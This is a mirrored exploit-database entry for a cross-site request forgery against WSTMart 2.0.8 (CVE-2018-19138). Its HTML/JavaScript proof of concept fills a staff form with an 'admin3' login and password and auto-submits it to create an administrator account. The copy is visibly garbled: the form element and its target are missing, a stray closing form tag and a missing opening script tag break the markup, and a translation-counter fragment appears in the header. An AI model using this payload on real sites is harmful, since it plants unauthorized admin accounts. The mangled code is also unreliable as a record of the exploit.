WSTMart 2.0.8 – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： linfeng

日期： 2018-12-24

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/46036/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

# Exploit Title:WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin)

# Date: 2018-12-23

# Exploit Author: linfeng

# Vendor Homepage:https://github.com/wstmall/wstmart/

# Software Link:http://www.wstmart.net/

# Version:WSTMart 2.0.8_181212

# CVE :CVE-2018-19138

# 0x02 CSRF PoC

# 18/5000

# Function point: background management - staff management - login account

# poc:

# 1234.html

<!DOCTYPE html>

<head>

<title>Document</title>

</head>

<body>

</form>

test.staffId.value="0";

test.loginName.value="admin3";

test.staffPhoto.value="";

test.loginPwd.value="admin3";

test.staffName.value="admin3";

test.staffNo.value="";

test.RoleId.value="0";

test.staffPhone.value="";

test.wxOpenId.value="";

test.workStatus.value="1";

test.staffStatus.value="1";

test.submit();

</script>

</body>

</html>